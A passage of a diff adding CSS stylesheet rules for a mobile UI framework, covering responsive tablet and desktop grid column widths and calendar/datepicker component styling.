.row.no-gap .tablet-80 { + width: 80%; + } + .md .row .tablet-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .tablet-75 { + width: 75%; + } + .md .row .tablet-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .tablet-70 { + width: 70%; + } + .md .row .tablet-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .tablet-66 { + width: 66.66666666666666%; + } + .md .row .tablet-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .tablet-65 { + width: 65%; + } + .md .row .tablet-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .tablet-60 { + width: 60%; + } + .md .row .tablet-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .tablet-55 { + width: 55%; + } + .md .row .tablet-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-50 { + width: 50%; + } + .md .row .tablet-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .tablet-45 { + width: 45%; + } + .md .row .tablet-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .tablet-40 { + width: 40%; + } + .md .row .tablet-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .tablet-35 { + width: 35%; + } + .md .row .tablet-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-33 { + width: 33.333333333333336%; + } + .md .row .tablet-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .tablet-30 { + width: 30%; + } + .md .row .tablet-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-25 { + width: 25%; + } + .md .row .tablet-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-20 { + width: 20%; + } + .md .row .tablet-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .tablet-15 { + width: 15%; + } + .md .row .tablet-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-10 { + width: 10%; + } + .md .row .tablet-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-5 { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(1), + .md .row .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .tablet-auto:nth-last-child(1), + .md .row.no-gap .tablet-auto:nth-last-child(1) ~ .tablet-auto { + width: 100%; + } + .md .row .tablet-auto:nth-last-child(2), + .md .row .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .tablet-auto:nth-last-child(2), + .md .row.no-gap .tablet-auto:nth-last-child(2) ~ .tablet-auto { + width: 50%; + } + .md .row .tablet-auto:nth-last-child(3), + .md .row .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .tablet-auto:nth-last-child(3), + .md .row.no-gap .tablet-auto:nth-last-child(3) ~ .tablet-auto { + width: 33.33333333%; + } + .md .row .tablet-auto:nth-last-child(4), + .md .row .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .tablet-auto:nth-last-child(4), + .md .row.no-gap .tablet-auto:nth-last-child(4) ~ .tablet-auto { + width: 25%; + } + .md .row .tablet-auto:nth-last-child(5), + .md .row .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .tablet-auto:nth-last-child(5), + .md .row.no-gap .tablet-auto:nth-last-child(5) ~ .tablet-auto { + width: 20%; + } + .md .row .tablet-auto:nth-last-child(6), + .md .row .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .tablet-auto:nth-last-child(6), + .md .row.no-gap .tablet-auto:nth-last-child(6) ~ .tablet-auto { + width: 16.66666667%; + } + .md .row .tablet-auto:nth-last-child(7), + .md .row .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .tablet-auto:nth-last-child(7), + .md .row.no-gap .tablet-auto:nth-last-child(7) ~ .tablet-auto { + width: 14.28571429%; + } + .md .row .tablet-auto:nth-last-child(8), + .md .row .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .tablet-auto:nth-last-child(8), + .md .row.no-gap .tablet-auto:nth-last-child(8) ~ .tablet-auto { + width: 12.5%; + } + .md .row .tablet-auto:nth-last-child(9), + .md .row .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .tablet-auto:nth-last-child(9), + .md .row.no-gap .tablet-auto:nth-last-child(9) ~ .tablet-auto { + width: 11.11111111%; + } + .md .row .tablet-auto:nth-last-child(10), + .md .row .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .tablet-auto:nth-last-child(10), + .md .row.no-gap .tablet-auto:nth-last-child(10) ~ .tablet-auto { + width: 10%; + } + .md .row .tablet-auto:nth-last-child(11), + .md .row .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .tablet-auto:nth-last-child(11), + .md .row.no-gap .tablet-auto:nth-last-child(11) ~ .tablet-auto { + width: 9.09090909%; + } + .md .row .tablet-auto:nth-last-child(12), + .md .row .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .tablet-auto:nth-last-child(12), + .md .row.no-gap .tablet-auto:nth-last-child(12) ~ .tablet-auto { + width: 8.33333333%; + } + .md .row .tablet-auto:nth-last-child(13), + .md .row .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .tablet-auto:nth-last-child(13), + .md .row.no-gap .tablet-auto:nth-last-child(13) ~ .tablet-auto { + width: 7.69230769%; + } + .md .row .tablet-auto:nth-last-child(14), + .md .row .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .tablet-auto:nth-last-child(14), + .md .row.no-gap .tablet-auto:nth-last-child(14) ~ .tablet-auto { + width: 7.14285714%; + } + .md .row .tablet-auto:nth-last-child(15), + .md .row .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .tablet-auto:nth-last-child(15), + .md .row.no-gap .tablet-auto:nth-last-child(15) ~ .tablet-auto { + width: 6.66666667%; + } + .md .row .tablet-auto:nth-last-child(16), + .md .row .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .tablet-auto:nth-last-child(16), + .md .row.no-gap .tablet-auto:nth-last-child(16) ~ .tablet-auto { + width: 6.25%; + } + .md .row .tablet-auto:nth-last-child(17), + .md .row .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .tablet-auto:nth-last-child(17), + .md .row.no-gap .tablet-auto:nth-last-child(17) ~ .tablet-auto { + width: 5.88235294%; + } + .md .row .tablet-auto:nth-last-child(18), + .md .row .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .tablet-auto:nth-last-child(18), + .md .row.no-gap .tablet-auto:nth-last-child(18) ~ .tablet-auto { + width: 5.55555556%; + } + .md .row .tablet-auto:nth-last-child(19), + .md .row .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .tablet-auto:nth-last-child(19), + .md .row.no-gap .tablet-auto:nth-last-child(19) ~ .tablet-auto { + width: 5.26315789%; + } + .md .row .tablet-auto:nth-last-child(20), + .md .row .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .tablet-auto:nth-last-child(20), + .md .row.no-gap .tablet-auto:nth-last-child(20) ~ .tablet-auto { + width: 5%; + } + .md .row .tablet-auto:nth-last-child(21), + .md .row .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .tablet-auto:nth-last-child(21), + .md .row.no-gap .tablet-auto:nth-last-child(21) ~ .tablet-auto { + width: 4.76190476%; + } +} +@media (min-width: 1025px) { + .md .row .desktop-100 { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-100 { + width: 100%; + } + .md .row .desktop-95 { + width: 95%; + width: calc((100% - 16px*0.05263157894736836) / 1.0526315789473684); + } + .md .row.no-gap .desktop-95 { + width: 95%; + } + .md .row .desktop-90 { + width: 90%; + width: calc((100% - 16px*0.11111111111111116) / 1.1111111111111112); + } + .md .row.no-gap .desktop-90 { + width: 90%; + } + .md .row .desktop-85 { + width: 85%; + width: calc((100% - 16px*0.17647058823529416) / 1.1764705882352942); + } + .md .row.no-gap .desktop-85 { + width: 85%; + } + .md .row .desktop-80 { + width: 80%; + width: calc((100% - 16px*0.25) / 1.25); + } + .md .row.no-gap .desktop-80 { + width: 80%; + } + .md .row .desktop-75 { + width: 75%; + width: calc((100% - 16px*0.33333333333333326) / 1.3333333333333333); + } + .md .row.no-gap .desktop-75 { + width: 75%; + } + .md .row .desktop-70 { + width: 70%; + width: calc((100% - 16px*0.4285714285714286) / 1.4285714285714286); + } + .md .row.no-gap .desktop-70 { + width: 70%; + } + .md .row .desktop-66 { + width: 66.66666666666666%; + width: calc((100% - 16px*0.5000000000000002) / 1.5000000000000002); + } + .md .row.no-gap .desktop-66 { + width: 66.66666666666666%; + } + .md .row .desktop-65 { + width: 65%; + width: calc((100% - 16px*0.5384615384615385) / 1.5384615384615385); + } + .md .row.no-gap .desktop-65 { + width: 65%; + } + .md .row .desktop-60 { + width: 60%; + width: calc((100% - 16px*0.6666666666666667) / 1.6666666666666667); + } + .md .row.no-gap .desktop-60 { + width: 60%; + } + .md .row .desktop-55 { + width: 55%; + width: calc((100% - 16px*0.8181818181818181) / 1.8181818181818181); + } + .md .row.no-gap .desktop-55 { + width: 55%; + } + .md .row .desktop-50 { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-50 { + width: 50%; + } + .md .row .desktop-45 { + width: 45%; + width: calc((100% - 16px*1.2222222222222223) / 2.2222222222222223); + } + .md .row.no-gap .desktop-45 { + width: 45%; + } + .md .row .desktop-40 { + width: 40%; + width: calc((100% - 16px*1.5) / 2.5); + } + .md .row.no-gap .desktop-40 { + width: 40%; + } + .md .row .desktop-35 { + width: 35%; + width: calc((100% - 16px*1.8571428571428572) / 2.857142857142857); + } + .md .row.no-gap .desktop-35 { + width: 35%; + } + .md .row .desktop-33 { + width: 33.333333333333336%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-33 { + width: 33.333333333333336%; + } + .md .row .desktop-30 { + width: 30%; + width: calc((100% - 16px*2.3333333333333335) / 3.3333333333333335); + } + .md .row.no-gap .desktop-30 { + width: 30%; + } + .md .row .desktop-25 { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-25 { + width: 25%; + } + .md .row .desktop-20 { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-20 { + width: 20%; + } + .md .row .desktop-15 { + width: 15%; + width: calc((100% - 16px*5.666666666666667) / 6.666666666666667); + } + .md .row.no-gap .desktop-15 { + width: 15%; + } + .md .row .desktop-10 { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-10 { + width: 10%; + } + .md .row .desktop-5 { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-5 { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(1), + .md .row .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + width: calc((100% - 16px*0) / 1); + } + .md .row.no-gap .desktop-auto:nth-last-child(1), + .md .row.no-gap .desktop-auto:nth-last-child(1) ~ .desktop-auto { + width: 100%; + } + .md .row .desktop-auto:nth-last-child(2), + .md .row .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + width: calc((100% - 16px*1) / 2); + } + .md .row.no-gap .desktop-auto:nth-last-child(2), + .md .row.no-gap .desktop-auto:nth-last-child(2) ~ .desktop-auto { + width: 50%; + } + .md .row .desktop-auto:nth-last-child(3), + .md .row .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + width: calc((100% - 16px*2) / 3); + } + .md .row.no-gap .desktop-auto:nth-last-child(3), + .md .row.no-gap .desktop-auto:nth-last-child(3) ~ .desktop-auto { + width: 33.33333333%; + } + .md .row .desktop-auto:nth-last-child(4), + .md .row .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + width: calc((100% - 16px*3) / 4); + } + .md .row.no-gap .desktop-auto:nth-last-child(4), + .md .row.no-gap .desktop-auto:nth-last-child(4) ~ .desktop-auto { + width: 25%; + } + .md .row .desktop-auto:nth-last-child(5), + .md .row .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + width: calc((100% - 16px*4) / 5); + } + .md .row.no-gap .desktop-auto:nth-last-child(5), + .md .row.no-gap .desktop-auto:nth-last-child(5) ~ .desktop-auto { + width: 20%; + } + .md .row .desktop-auto:nth-last-child(6), + .md .row .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + width: calc((100% - 16px*5) / 6); + } + .md .row.no-gap .desktop-auto:nth-last-child(6), + .md .row.no-gap .desktop-auto:nth-last-child(6) ~ .desktop-auto { + width: 16.66666667%; + } + .md .row .desktop-auto:nth-last-child(7), + .md .row .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + width: calc((100% - 16px*6) / 7); + } + .md .row.no-gap .desktop-auto:nth-last-child(7), + .md .row.no-gap .desktop-auto:nth-last-child(7) ~ .desktop-auto { + width: 14.28571429%; + } + .md .row .desktop-auto:nth-last-child(8), + .md .row .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + width: calc((100% - 16px*7) / 8); + } + .md .row.no-gap .desktop-auto:nth-last-child(8), + .md .row.no-gap .desktop-auto:nth-last-child(8) ~ .desktop-auto { + width: 12.5%; + } + .md .row .desktop-auto:nth-last-child(9), + .md .row .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + width: calc((100% - 16px*8) / 9); + } + .md .row.no-gap .desktop-auto:nth-last-child(9), + .md .row.no-gap .desktop-auto:nth-last-child(9) ~ .desktop-auto { + width: 11.11111111%; + } + .md .row .desktop-auto:nth-last-child(10), + .md .row .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + width: calc((100% - 16px*9) / 10); + } + .md .row.no-gap .desktop-auto:nth-last-child(10), + .md .row.no-gap .desktop-auto:nth-last-child(10) ~ .desktop-auto { + width: 10%; + } + .md .row .desktop-auto:nth-last-child(11), + .md .row .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + width: calc((100% - 16px*10) / 11); + } + .md .row.no-gap .desktop-auto:nth-last-child(11), + .md .row.no-gap .desktop-auto:nth-last-child(11) ~ .desktop-auto { + width: 9.09090909%; + } + .md .row .desktop-auto:nth-last-child(12), + .md .row .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + width: calc((100% - 16px*11) / 12); + } + .md .row.no-gap .desktop-auto:nth-last-child(12), + .md .row.no-gap .desktop-auto:nth-last-child(12) ~ .desktop-auto { + width: 8.33333333%; + } + .md .row .desktop-auto:nth-last-child(13), + .md .row .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + width: calc((100% - 16px*12) / 13); + } + .md .row.no-gap .desktop-auto:nth-last-child(13), + .md .row.no-gap .desktop-auto:nth-last-child(13) ~ .desktop-auto { + width: 7.69230769%; + } + .md .row .desktop-auto:nth-last-child(14), + .md .row .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + width: calc((100% - 16px*13) / 14); + } + .md .row.no-gap .desktop-auto:nth-last-child(14), + .md .row.no-gap .desktop-auto:nth-last-child(14) ~ .desktop-auto { + width: 7.14285714%; + } + .md .row .desktop-auto:nth-last-child(15), + .md .row .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + width: calc((100% - 16px*14) / 15); + } + .md .row.no-gap .desktop-auto:nth-last-child(15), + .md .row.no-gap .desktop-auto:nth-last-child(15) ~ .desktop-auto { + width: 6.66666667%; + } + .md .row .desktop-auto:nth-last-child(16), + .md .row .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + width: calc((100% - 16px*15) / 16); + } + .md .row.no-gap .desktop-auto:nth-last-child(16), + .md .row.no-gap .desktop-auto:nth-last-child(16) ~ .desktop-auto { + width: 6.25%; + } + .md .row .desktop-auto:nth-last-child(17), + .md .row .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + width: calc((100% - 16px*16) / 17); + } + .md .row.no-gap .desktop-auto:nth-last-child(17), + .md .row.no-gap .desktop-auto:nth-last-child(17) ~ .desktop-auto { + width: 5.88235294%; + } + .md .row .desktop-auto:nth-last-child(18), + .md .row .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + width: calc((100% - 16px*17) / 18); + } + .md .row.no-gap .desktop-auto:nth-last-child(18), + .md .row.no-gap .desktop-auto:nth-last-child(18) ~ .desktop-auto { + width: 5.55555556%; + } + .md .row .desktop-auto:nth-last-child(19), + .md .row .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + width: calc((100% - 16px*18) / 19); + } + .md .row.no-gap .desktop-auto:nth-last-child(19), + .md .row.no-gap .desktop-auto:nth-last-child(19) ~ .desktop-auto { + width: 5.26315789%; + } + .md .row .desktop-auto:nth-last-child(20), + .md .row .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + width: calc((100% - 16px*19) / 20); + } + .md .row.no-gap .desktop-auto:nth-last-child(20), + .md .row.no-gap .desktop-auto:nth-last-child(20) ~ .desktop-auto { + width: 5%; + } + .md .row .desktop-auto:nth-last-child(21), + .md .row .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + width: calc((100% - 16px*20) / 21); + } + .md .row.no-gap .desktop-auto:nth-last-child(21), + .md .row.no-gap .desktop-auto:nth-last-child(21) ~ .desktop-auto { + width: 4.76190476%; + } +} +/* === Calendar/Datepicker === */ +.calendar { + overflow: hidden; + height: 320px; + width: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.calendar.modal-in { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +@media (orientation: landscape) and (max-height: 415px) { + .calendar.calendar-sheet { + height: 220px; + } + .calendar.calendar-modal { + height: calc(100vh - 44px); + } +} +.calendar.calendar-inline, +.calendar.calendar-popover .calendar { + position: relative; +} +.calendar-modal { + position: absolute; + height: 420px; + overflow: hidden; + top: 50%; + left: 50%; + min-width: 300px; + max-width: 380px; + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + z-index: 12000; + background: #fff; + width: 90%; + border-radius: 4px; + -webkit-box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); + box-shadow: 0 19px 38px rgba(0, 0, 0, 0.3), 0 15px 12px rgba(0, 0, 0, 0.22); +} +.calendar-modal.modal-in, +.calendar-modal.modal-out { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.calendar-modal.modal-in { + -webkit-transform: translate3d(-50%, -50%, 0); + transform: translate3d(-50%, -50%, 0); +} +.calendar-modal.modal-out { + -webkit-transform: translate3d(-50%, 100%, 0); + transform: translate3d(-50%, 100%, 0); +} +.calendar-popover { + width: 320px; +} +.calendar-popover .calendar { + height: 320px; +} +.calendar-week-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + font-size: 11px; +} +.calendar-week-header .calendar-week-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; +} +.calendar-months { + width: 100%; + height: 100%; + overflow: hidden; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-months-wrapper { + position: relative; + width: 100%; + height: 100%; + -webkit-transition: 300ms; + transition: 300ms; +} +.calendar-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + width: 100%; + height: 100%; + position: absolute; + left: 0; + top: 0; +} +.calendar-row { + height: 16.66666667%; + height: calc(100% / 6); + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.calendar-day { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 14.28571429%; + width: calc(100% / 7); + text-align: center; + cursor: pointer; + z-index: 20; + color: #000; + height: 100%; +} +.calendar-day.calendar-day-prev, +.calendar-day.calendar-day-next { + color: #b8b8b8; +} +.calendar-day.calendar-day-disabled { + color: #d4d4d4; + cursor: auto; +} +.calendar-day.calendar-day-selected span { + color: #fff; +} +.calendar-day.calendar-day-has-events span:after { + content: ''; + width: 4px; + height: 4px; + border-radius: 50%; + position: absolute; + margin-left: -2px; + left: 50%; + bottom: 1px; +} +.calendar-day span { + display: inline-block; + border-radius: 100%; + position: relative; +} +.calendar-range .calendar-day.calendar-day-selected { + -webkit-box-align: stretch; + -webkit-align-items: stretch; + -ms-flex-align: stretch; + align-items: stretch; + -webkit-align-content: stretch; + -ms-flex-line-pack: stretch; + align-content: stretch; +} +.calendar-range .calendar-day.calendar-day-selected span { + width: 100%; + border-radius: 0; + height: auto; + text-align: center; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.calendar-month-selector, +.calendar-year-selector { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + width: 50%; + max-width: 200px; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.calendar-month-selector span, +.calendar-year-selector span { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + overflow: hidden; + text-overflow: ellipsis; +} +.md .calendar-header { + height: 56px; + background: #2196f3; + font-size: 20px; + line-height: 56px; + padding: 0 24px; + color: #fff; + position: relative; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.md .calendar-footer { + position: relative; + width: 100%; + height: 48px; + padding: 6px 8px; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: end; + -webkit-justify-content: flex-end; + -ms-flex-pack: end; + justify-content: flex-end; +} +.md .calendar .toolbar { + background: none !important; + color: #212121; +} +.md .calendar .toolbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.15) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .calendar .toolbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .calendar .toolbar a.link .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .calendar .toolbar .icon-next, +.md .calendar .toolbar .icon-prev, +.md .calendar .toolbar .icon-forward, +.md .calendar .toolbar .icon-back { + opacity: 0.54; +} +.md .calendar-week-header { + color: rgba(0, 0, 0, 0.54); + height: 24px; +} +.md .calendar-week-header .calendar-week-day { + line-height: 24px; +} +.md .calendar-day.calendar-day-today span { + color: #2196f3; +} +.md .calendar-day.calendar-day-has-events span:after { + background: #2196f3; +} +.md .calendar-day.calendar-day-has-events.calendar-day-selected span:after { + background-color: #fff; +} +.md .calendar-day.calendar-day-selected span { + background: #2196f3; + color: #fff; +} +.md .calendar-day span { + width: 36px; + height: 36px; + line-height: 36px; +} +.md .calendar-range .calendar-day.calendar-day-selected span { + color: #fff; +} +.md .calendar-month-selector a.icon-only, +.md .calendar-year-selector a.icon-only { + min-width: 36px; +} +.md .calendar-sheet:before { + content: ''; + position: absolute; + background-color: #ccc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .calendar-sheet:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .calendar-sheet:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md.device-iphone-x .calendar-sheet .sheet-modal-inner { + margin-bottom: constant(safe-area-inset-bottom); + margin-bottom: env(safe-area-inset-bottom); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-left.calendar .calendar-row, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-row, + .md.device-iphone-x .ios-left-edge.calendar .calendar-week-header, + .md.device-iphone-x .ios-edges.calendar .calendar-week-header, + .md.device-iphone-x .popup.calendar .calendar-week-header, + .md.device-iphone-x .sheet-modal.calendar .calendar-week-header, + .md.device-iphone-x .panel-left.calendar .calendar-week-header, + .md.device-iphone-x .ios-left-edge .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .ios-edges .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .popup .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .sheet-modal .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header, + .md.device-iphone-x .panel-left .calendar:not(.no-ios-edges):not(.no-ios-left-edge) .calendar-week-header { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-right-edge.calendar .calendar-row, + .md.device-iphone-x .ios-edges.calendar .calendar-row, + .md.device-iphone-x .popup.calendar .calendar-row, + .md.device-iphone-x .sheet-modal.calendar .calendar-row, + .md.device-iphone-x .panel-right.calendar .calendar-row, + .md.device-iphone-x .ios-right-edge 